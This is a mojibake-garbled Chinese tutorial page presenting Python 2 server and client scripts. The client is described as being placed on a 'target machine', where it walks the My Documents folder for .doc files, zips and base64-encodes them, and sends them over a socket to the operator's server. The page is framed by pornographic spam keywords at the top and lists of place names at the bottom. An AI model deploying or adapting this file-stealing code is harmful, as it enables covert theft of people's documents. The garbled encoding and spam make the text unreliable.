最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法

 更新時(shí)間:2015年03月16日 11:29:12   作者:上大王  
這篇文章主要介紹了python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法,涉及Python實(shí)現(xiàn)C/S架構(gòu)程序與socket程序的使用技巧,需要的朋友可以參考下

本文實(shí)例講述了python實(shí)現(xiàn)獲取客戶機(jī)上指定文件并傳輸?shù)椒?wù)器的方法。分享給大家供大家參考。具體分析如下:

該程序?qū)崿F(xiàn)了,把目標(biāo)機(jī)器的某個(gè)目錄(可控)的所有的某種類型文件(可控)全部獲取并傳到己方的機(jī)器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,這是2進(jìn)制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py,然后client.py放到目標(biāo)機(jī)器,然后python client.py即可
4、本程序設(shè)置了獲取doc文件,修改extName可以獲取其它類型文件

服務(wù)器端程序:

復(fù)制代碼 代碼如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #獲取加密數(shù)據(jù)
                encode_data = cs.recv(BUF_SIZE)
                #把數(shù)據(jù)寫(xiě)到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2進(jìn)制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打開(kāi)zip文件
                zfile = zipfile.ZipFile('out.zip','r')
                #創(chuàng)建一個(gè)文件夾來(lái)存放獲取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #后續(xù)處理 刪除臨時(shí)文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

客戶端程序:

復(fù)制代碼 代碼如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\我的文檔"
    extName = '.doc'
    #遍歷搜索我的文檔的doc類型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "文件處理錯(cuò)誤: " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        #壓縮成zip文件
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2進(jìn)制 加密 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #后續(xù)處理 刪除中間文件
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket 出錯(cuò)啦:' % e
        cs.close()
if __name__=='__main__':
    main()

希望本文所述對(duì)大家的Python程序設(shè)計(jì)有所幫助。

相關(guān)文章

  • Python實(shí)現(xiàn)大文件排序的方法

    Python實(shí)現(xiàn)大文件排序的方法

    這篇文章主要介紹了Python大文件排序的方法,涉及Python針對(duì)文件、緩存及日期等操作的相關(guān)技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下
    2015-07-07
  • 使用matplotlib在Python中繪制數(shù)據(jù)的詳細(xì)教程

    使用matplotlib在Python中繪制數(shù)據(jù)的詳細(xì)教程

    Python 在處理數(shù)據(jù)方面非常出色,通常,數(shù)據(jù)集 會(huì)包括多個(gè)變量和許多實(shí)例,這使得很難理解數(shù)據(jù)的情況,數(shù)據(jù)可視化是幫助您識(shí)別數(shù)據(jù)模式的一種有用方式,本教程將描述如何使用 matplotlib 在 Python 中繪制數(shù)據(jù),需要的朋友可以參考下
    2024-10-10
  • python之lambda表達(dá)式與sort函數(shù)中的key用法

    python之lambda表達(dá)式與sort函數(shù)中的key用法

    這篇文章主要介紹了python之lambda表達(dá)式與sort函數(shù)中的key用法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-08-08
  • python在一個(gè)范圍內(nèi)取隨機(jī)數(shù)的簡(jiǎn)單實(shí)例

    python在一個(gè)范圍內(nèi)取隨機(jī)數(shù)的簡(jiǎn)單實(shí)例

    在本篇內(nèi)容里小編給大家分享了關(guān)于python在一個(gè)范圍內(nèi)取隨機(jī)數(shù)的簡(jiǎn)單實(shí)例內(nèi)容,有需要的朋友們可以學(xué)習(xí)下。
    2020-08-08
  • pandas read_excel()和to_excel()函數(shù)解析

    pandas read_excel()和to_excel()函數(shù)解析

    這篇文章主要介紹了pandas read_excel()和to_excel()函數(shù)解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2019-09-09
  • Python區(qū)塊鏈創(chuàng)建Block Class教程

    Python區(qū)塊鏈創(chuàng)建Block Class教程

    這篇文章主要為大家介紹了Python區(qū)塊鏈創(chuàng)建Block Class教程詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2022-05-05
  • 詳解pycharm連接遠(yuǎn)程linux服務(wù)器的虛擬環(huán)境的方法

    詳解pycharm連接遠(yuǎn)程linux服務(wù)器的虛擬環(huán)境的方法

    這篇文章主要介紹了pycharm連接遠(yuǎn)程linux服務(wù)器的虛擬環(huán)境的詳細(xì)教程,本文通過(guò)圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-11-11
  • 使用Pytorch實(shí)現(xiàn)Swish激活函數(shù)的示例詳解

    使用Pytorch實(shí)現(xiàn)Swish激活函數(shù)的示例詳解

    激活函數(shù)是人工神經(jīng)網(wǎng)絡(luò)的基本組成部分,他們將非線性引入模型,使其能夠?qū)W習(xí)數(shù)據(jù)中的復(fù)雜關(guān)系,Swish 激活函數(shù)就是此類激活函數(shù)之一,在本文中,我們將深入研究 Swish 激活函數(shù),提供數(shù)學(xué)公式,探索其相對(duì)于 ReLU 的優(yōu)勢(shì),并使用 PyTorch 演示其實(shí)現(xiàn)
    2023-11-11
  • np.mean()和np.std()函數(shù)的具體使用

    np.mean()和np.std()函數(shù)的具體使用

    本文主要介紹了np.mean()和np.std()函數(shù)的具體使用,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2023-03-03
  • Python socket實(shí)現(xiàn)的文件下載器功能示例

    Python socket實(shí)現(xiàn)的文件下載器功能示例

    這篇文章主要介紹了Python socket實(shí)現(xiàn)的文件下載器功能,結(jié)合實(shí)例形式分析了Python使用socket模塊實(shí)現(xiàn)的文件下載器客戶端與服務(wù)器端相關(guān)操作技巧,需要的朋友可以參考下
    2019-11-11

最新評(píng)論

孟津县| 南乐县| 永德县| 绵竹市| 十堰市| 桐城市| 高陵县| 红原县| 原平市| 漠河县| 开远市| 曲沃县| 汝南县| 青神县| 新营市| 南城县| 黎城县| 淮安市| 固阳县| 康定县| 潍坊市| 孝义市| 东源县| 文昌市| 安达市| 北海市| 杨浦区| 息烽县| 南和县| 长子县| 四会市| 漾濞| 眉山市| 乌海市| 古丈县| 虎林市| 景泰县| 十堰市| 军事| 龙南县| 泌阳县|